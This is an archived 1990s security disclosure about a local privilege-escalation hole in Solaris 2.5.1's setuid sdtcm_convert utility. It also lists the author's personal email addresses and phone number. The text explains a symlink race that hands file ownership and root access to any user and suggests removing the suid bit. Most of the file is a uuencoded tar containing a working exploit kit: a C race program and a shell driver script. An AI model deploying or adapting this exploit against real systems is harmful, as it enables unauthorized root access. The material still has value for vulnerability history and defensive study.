home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / solar002.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  5.7 KB  |  178 lines
  1. Another hole in Solaris
  2.  
  3. I have found a security hole in sdtcm_convert on Solaris 2.5.1.
  4. sdtcm_convert - calendar data conversion utility - allows any user to
  5. change the owner for any file (or directory) from the system or gain root
  6. access. The exploit is very simple. Change the permision mode of your calendar
  7. file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
  8. sdtcm_convert. sdtcm_convert 'll observe the change and 'll want  to
  9. correct it (it 'll ask you first). You have only to delete the callog file
  10. and make a symbolic link to a target file and your calendar file and said to
  11. sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
  12. file ...
  13. A simple way to correct this is to get out suid_exec bit from
  14. sdtcm_convert
  15.  
  16. I made an exploit, so you have to extract the text, uudecode it, and exec
  17. a 'tar -xf exploit.tar'. You'll get the files in exploit_dir.
  18.  
  19.  
  20. Cristian Schipor - Computer Science Faculty - Bucharest - Romania
  21.  
  22. Email: skipo@math.pub.ro skipo@sundy.cs.pub.ro skipo@ns.ima.ro
  23. Phone: (401) 410.60.88
  24.  
  25.  
  26.  
  27. begin 600 exploit.tar
  28. M97AP;&]I=%]D:7(O4D5!1$U%
  29. M
  30. M             # Q,# V,#  ,# P,#0V,  P,# P-#4W # P,# P,# Q,#(Q
  31. M # V,S S-3<Q,3<W # P,30U-#( ,
  32. M
  33. M                                          !U<W1A<@ P,'-K:7!O
  34. M                                    <W1U9#,
  35. M                   P,# P,#0P # P,# R,#<
  36. M
  37. M
  38. M
  39. M                       J2&]W('1O(&UA:V4@82!S:6UP;&4@8V%L;&]G
  40. M(&9I;&4J"@I)9B!Y;W4@9&]N="!H879E(&$@+W9A<B]S<&]O;"]C86QE;F1A
  41. M<B]C86QL;V<N64]5(&5D:70@8V%L;&]G+F5X86UP;&4L"G)E<&QA8V4@)W-K
  42. M:7!O)R!W:71H('EO=7(@=7-E<B!N86UE(&%N9" G<W5N9'DN8W,N<'5B+G)O
  43. M)R!W:71H('EO=7(*;6%C:&EN92!N86UE("AT<GD@9FER<W0@=&AE('-H;W)T
  44. M(&YA;64L(&5X86UP;&4Z('-U;F1Y(&%N9"!I9B!Y;W4G;&P@:&%V90IT<F]U
  45. M8FQE<VAO=&EN9W,@=')Y('1H92!L;VYG(&YA;64L(&5X86UP;&4@<W5N9'DN
  46. M8W,N<'5B+G)O*2X@069T97(@=&AA= IC;W!Y('1H92!N97<@8V%L;&]G(&9I
  47. M;&4@:6X@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N64]54E]54T527TY!
  48. M344L(')U;@IO;F-E('-D=&-M7V-O;G9E<G0@=VET:"!Y;W5R('5S97(@;F%M
  49. M92 H97AA;7!L92!S9'1C;5]C;VYV97)T('-K:7!O*0IA;F0@=V%I="!F;W(@
  50. M8V]R<F5C=&EO;G,N($YO=R!Y;W4@87)E(')E861Y('1O(')U;B!T:&4@97AP
  51. M;&]I="X*
  52. M
  53. M
  54. M
  55. M
  56. M
  57. M
  58. M
  59. M
  60. M
  61. M
  62. M        97AP;&]I=%]D:7(O8V%L;&]G+F5X86UP;&4
  63. M
  64. M                     # Q,# W,#  ,# P,#0V,  P,# P-#4W # P,# P
  65. M,# Q,S(P # V,S S-38W-#0T # P,38U,#4 ,
  66. M
  67. M                                                  !U<W1A<@ P
  68. M,'-K:7!O                                    <W1U9#,
  69. M                           P,# P,#0P # P,# R,#<
  70. M
  71. M
  72. M
  73. M                              !697)S:6]N.B T"BHJ*BH@<W1A<G0@
  74. M;V8@;&]G(&]N($9R:2!$96,@(#8@,30Z,#<Z-#,@,3DY-B J*BHJ"@HH8V%L
  75. M96YD87)A='1R:6)U=&5S("@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-'
  76. M34P@06-C97-S($QI<W0O+T5.(BPB,3 Z86-C97-S7VQI<W0B+")W;W)L9#HR
  77. M(BD**"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!.
  78. M86UE+R]%3B(L(C4Z<W1R:6YG(BPB<VMI<&] <W5N9'DN8W,N<'5B+G)O(BD*
  79. M*"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!/=VYE
  80. M<B\O14XB+"(V.G5S97(B+")S:VEP;T!S=6YD>2YC<RYP=6(N<F\B*0HH(BTO
  81. M+UA!4$E!+T-302]#04Q!5%12+R].3TY31TU,($-H87)A8W1E<B!3970O+T5.
  82. M(BPB-3IS=')I;F<B+")#+DE33RTX.#4Y+3$B*0HH(BTO+UA!4$E!+T-302]#
  83. M04Q!5%12+R].3TY31TU,($1A=&4@0W)E871E9"\O14XB+"(W.F1A=&5?=&EM
  84. M92(L(C$Y.38Q,C V5#$R,#<T,UHB*0HH(BTO+UA!4$E!+T-302]#04Q!5%12
  85. M+R].3TY31TU,(%!R;V1U8W0@261E;G1I9FEE<B\O14XB+"(U.G-T<FEN9R(L
  86. M(BTO+T14+R].3TY31TU,($-A;&5N9&%R(%!R;V1U8W0@5F5R<VEO;B Q+R]%
  87. M3B(I"B@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-'34P@5F5R<VEO;B\O
  88. M14XB+"(U.G-T<FEN9R(L(BTO+UA!4$E!+T-302]615)324].,2].3TY31TU,
  89. M($-302!697)S:6]N(#$O+T5.(BD**0H
  90. M
  91. M
  92. M
  93. M
  94. M
  95. M
  96. M                97AP;&]I=%]D:7(O;W)A;F=E+F,
  97. M
  98. M                             # Q,# V,#  ,# P,#0V,  P,# P-#4W
  99. M # P,# P,# Q,C0V # V,S S-38W,S(R # P,34S,#< ,
  100. M
  101. M                                                          !U
  102. M<W1A<@ P,'-K:7!O                                    <W1U9#,
  103. M                                   P,# P,#0P # P,# R,#<
  104. M
  105. M
  106. M
  107. M                                       C:6YC;'5D92 \<W1D:6\N
  108. M:#X*(VEN8VQU9&4@/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92 \<WES+W-T870N
  109. M:#X*(VEN8VQU9&4@/'5N:7-T9"YH/@H*(V1E9FEN92!P871H(" B+W9A<B]S
  110. M<&]O;"]C86QE;F1A<B]C86QL;V<N(@H*"G9O:60@;6%I;BAI;G0@87)G8RP@
  111. M8VAA<B J87)G=EM=*0I["FEN="!P:60L9FEL961E<ULR73L*1DE,12 J9CL*
  112. M<W1R=6-T('-T870@:6YF;SL*;&]N9R!I.PIC:&%R('1A<F=E=%LQ,CA=+'-H
  113. M:69T6S$R.%T["@D*"7-T<F-P>2AT87)G970L87)G=ELQ72D["@ES=')C<'DH
  114. M<VAI9G0L<&%T:"D["@ES=')C870H<VAI9G0L87)G=ELR72D["@EI9BAP:7!E
  115. M*&9I;&5D97,I*0H)>PH)"7!E<G)O<B@B8V%N="!C<F%T92!P:7!E7&XB*3L*
  116. M"0EE>&ET*# I.PH)?0D*"6EF*'!I9#UF;W)K*"D]/3 I"@E["@D)9F]R*&D]
  117. M,#MI/#,P,# P,# P.VDK*RD["@D)=6YL:6YK*'-H:69T*3L*"0ES>6UL:6YK
  118. M*'1A<F=E="QS:&EF="D["@D)=W)I=&4H9FEL961E<ULQ72PB>5QN(BQS:7IE
  119. M;V8H(GE<;B(I*3L*"7T)"0D)"@EE;'-E( H)>PH)"6-L;W-E*# I.PH)"61U
  120. M<"AF:6QE9&5S6S!=*3L*"0ES>7-T96TH(FQE;6]N(BD["@D)<W1A="AT87)G
  121. M970L)FEN9F\I.PH)"6EF*&EN9F\N<W1?=6ED/3UG971U:60H*2D@<')I;G1F
  122. M*")#3TQ,($D@9&ED($E4("$A(5QN(BD["@E]"@D*?0H
  123. M
  124. M
  125. M
  126. M
  127. M
  128. M
  129. M
  130. M                        97AP;&]I=%]D:7(O=&AE9FER<W0
  131. M
  132. M                                     # Q,# W,#  ,# P,#0V,  P
  133. M,# P-#4W # P,# P,# P-S0W # V,S S-38W,S,R # P,34T-3( ,
  134. M
  135. M
  136. M      !U<W1A<@ P,'-K:7!O
  137. M<W1U9#,                                    P,# P,#0P # P,# R
  138. M,#<
  139. M
  140. M
  141. M                                               O8FEN+V5C:&\@
  142. M(F]R86YG92YC("T^(&]R86YG92(*9V-C("UO(&]R86YG92!O<F%N9V4N8PH*
  143. M+W5S<B]U8V(O=VAO86UI(#X@=V@*<F5A9"!54T52(#P@+B]W: H*(W=A=&-H
  144. M:6YG(&9O<B!C86QL;V<@9FEL92!I9B!I="!I<VYT('=I;&P@<W1O< II9B A
  145. M('1E<W0@+68@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N)%5315([('1H
  146. M96X*(" O8FEN+V5C:&\@(DD@8V%N="!F;W5N9"!C86QL;V<@9FEL92X@4&QE
  147. M87-E(')E860@4D5!1$U%(&%N9"!C<F5A=&4@:70B"B @97AI=#L*9FD*"B]B
  148. M:6XO96-H;R B=VAA="=S('1H92!T87)G970@/S\_(@IR96%D(%1!4D=%5 H*
  149. M+V)I;B]E8VAO("]B:6XO8VAM;V0@,# P("]V87(O<W!O;VPO8V%L96YD87(O
  150. M8V%L;&]G+B154T52(#YL96UO;@HO8FEN+V5C:&\@+W5S<B]D="]B:6XO<V1T
  151. M8VU?8V]N=F5R=" D55-%4B ^/FQE;6]N"B]B:6XO8VAM;V0@-S P("XO;&5M
  152. M;VX*"BXO;W)A;F=E("1405)'150@)%5315(*
  153. M
  154. M
  155. M
  156. M
  157. M
  158. M
  159. M
  160. M
  161. M
  162. M
  163. M
  164. M
  165. M
  166. M
  167. M
  168. M
  169. M
  170. M
  171. M
  172. M
  173. M
  174. M
  175. I
  176.  
  177. end
  178.